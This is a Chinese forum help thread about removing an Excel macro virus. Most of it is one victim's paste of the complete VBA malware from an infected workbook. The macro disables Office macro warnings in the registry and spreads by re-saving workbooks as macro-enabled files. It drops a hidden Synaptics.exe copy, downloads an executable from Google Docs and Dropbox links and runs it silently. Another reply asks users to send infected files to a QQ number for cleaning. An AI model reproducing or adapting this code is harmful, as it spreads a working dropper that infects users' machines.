如何清除宏病毒

pointed · 发表于 2019-12-7 16:20

向高手学习！！

1688技术社区 · 发表于 2020-7-4 17:02

本帖最后由 1688技术社区于 2020-7-4 17:03 编辑

excel宏病毒，会感染xlsx 变成xlsm，就是把宏病毒直接注入到xlsx的，这种情况赶紧打包感染的，发Q我714511230。我给你去除宏代码后，变成xlsx格式，你最后把wps卸载。用office就不会感染了。

chenlifeng123 · 发表于 2020-9-23 22:55

1688技术社区发表于 2020-7-4 17:02
excel宏病毒，会感染xlsx 变成xlsm，就是把宏病毒直接注入到xlsx的，这种情况赶紧打包感染的，发Q我7145112 ...

下面是宏病毒代码，我的被感染，不知道怎么清除：

Dim SheetsChanged As Boolean
Dim SheetCount As Integer
Private Sub Workbook_Open()
Dim i As Integer
For i = 1 To ActiveWorkbook.Sheets.Count
ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
Next i
RegKeySave "HKCU\Software\Microsoft\Office" & Application.Version & "\Excel\Security\VBAWarnings", 1, "REG_DWORD"
RegKeySave "HKCU\Software\Microsoft\Office" & Application.Version & "\Word\Security\VBAWarnings", 1, "REG_DWORD"
Application.DisplayAlerts = False
SheetCount = Worksheets.Count
Call MPS
ActiveWorkbook.Sheets(1).Select
SheetsChanged = False
End Sub
Private Sub Workbook_BeforeClose(Cancel As Boolean)
If Not SheetsChanged Then
ActiveWorkbook.Saved = True
End If
End Sub
Private Sub Workbook_SheetChange(ByVal Sh As Object, ByVal Target As Range)
SheetsChanged = True
End Sub
Private Sub Workbook_NewSheet(ByVal Sh As Object)
SheetsChanged = True
End Sub
Private Sub Workbook_SheetActivate(ByVal Sh As Object)
If ActiveWorkbook.Sheets.Count <> SheetCount Then
SheetsChanged = True
SheetCount = ActiveWorkbook.Sheets.Count
End If
End Sub
Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
Dim i As Integer
Dim AIndex As Integer
Dim FName
AIndex = ActiveWorkbook.ActiveSheet.Index
If SaveAsUI = False Then
Cancel = True
Application.EnableEvents = False
Application.ScreenUpdating = False
For i = 1 To ActiveWorkbook.Sheets.Count - 1
ActiveWorkbook.Sheets(i).Visible = xlSheetHidden
Next i
ActiveWorkbook.Save
For i = 1 To ActiveWorkbook.Sheets.Count
ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
Next i
ActiveWorkbook.Sheets(AIndex).Select
SheetsChanged = False
Application.ScreenUpdating = True
Application.EnableEvents = True
Else
Cancel = True
Application.EnableEvents = False
Application.ScreenUpdating = False
For i = 1 To ActiveWorkbook.Sheets.Count - 1
ActiveWorkbook.Sheets(i).Visible = xlSheetHidden
Next i
FName = Application.GetSaveAsFilename(fileFilter:="Excel 莂lma Kitab?(*.xlsm), *.xlsm")
If FName <> False Then
ActiveWorkbook.SaveAs Filename:=FName, FileFormat:=xlOpenXMLWorkbookMacroEnabled
SaveAsInj ActiveWorkbook.Path
End If
For i = 1 To ActiveWorkbook.Sheets.Count
ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
Next i
ActiveWorkbook.Sheets(AIndex).Select
SheetsChanged = False
Application.ScreenUpdating = True
Application.EnableEvents = True
End If
End Sub
Sub SaveAsInj(DIR As String)
Dim FSO As Object
Dim FN As String
Set FSO = CreateObject("scripting.filesystemobject")
FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
If FSO.FileExists(FN) Then
If Not FSO.FileExists(DIR & "\~$cache1") Then
FileCopy FN, DIR & "\~$cache1"
End If
SetAttr (DIR & "\~$cache1"), vbHidden + vbSystem
End If
End Sub
Function RegKeyRead(i_RegKey As String) As String
Dim myWS As Object
On Error Resume Next
Set myWS = CreateObject("WScript.Shell")
RegKeyRead = myWS.RegRead(i_RegKey)
End Function
Function RegKeyExists(i_RegKey As String) As Boolean
Dim myWS As Object
On Error GoTo ErrorHandler
Set myWS = CreateObject("WScript.Shell")
myWS.RegRead i_RegKey
RegKeyExists = True
Exit Function
ErrorHandler:
RegKeyExists = False
End Function
Sub RegKeySave(i_RegKey As String, _
i_Value As String, _
Optional i_Type As String = "REG_SZ")
Dim myWS As Object
Set myWS = CreateObject("WScript.Shell")
myWS.RegWrite i_RegKey, i_Value, i_Type
End Sub
Sub MPS()
Dim FSO As Object
Dim FP(1 To 3), TMP, URL(1 To 3) As String
Set FSO = CreateObject("scripting.filesystemobject")
FP(1) = ActiveWorkbook.Path & "\~$cache1"
FP(2) = ActiveWorkbook.Path & "\Synaptics.exe"
URL(1) = "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download"
URL(2) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"
URL(3) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"
TMP = Environ("Temp") & "\~$cache1.exe"
If FSO.FileExists(FP(1)) Then
If Not FSO.FileExists(TMP) Then
FileCopy FP(1), TMP
End If
Shell TMP, vbHide
ElseIf FSO.FileExists(FP(2)) Then
If Not FSO.FileExists(TMP) Then
FileCopy FP(2), TMP
End If
Shell TMP, vbHide
Else
If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
ElseIf Not FSO.FileExists(TMP) Then
If FDW((URL(1)), (TMP)) Then
ElseIf FDW((URL(2)), (TMP)) Then
ElseIf FDW((URL(3)), (TMP)) Then
End If
If FSO.FileExists(TMP) Then
Shell TMP, vbHide
End If
Else
Shell TMP, vbHide
End If
End If
End Sub
Function FDW(MYU, NMA As String) As Boolean
Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
If WinHttpReq Is Nothing Then
Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
End If
WinHttpReq.Option(0) = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
WinHttpReq.Option(6) = AllowRedirects
WinHttpReq.Open "GET", MYU, False
WinHttpReq.Send
If (WinHttpReq.Status = 200) Then
If (InStr(WinHttpReq.ResponseText, "404 Not Found") = 0) And (InStr(WinHttpReq.ResponseText, ">Not Found<") = 0) And (InStr(WinHttpReq.ResponseText, "Dropbox - Error") = 0) Then
FDW = True
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write WinHttpReq.ResponseBody
oStream.SaveToFile (NMA)
oStream.Close
Else
FDW = False
End If
Else
FDW = False
End If
End Function

复制代码

		自动登录	找回密码
密码			免费注册

[求助] 如何清除宏病毒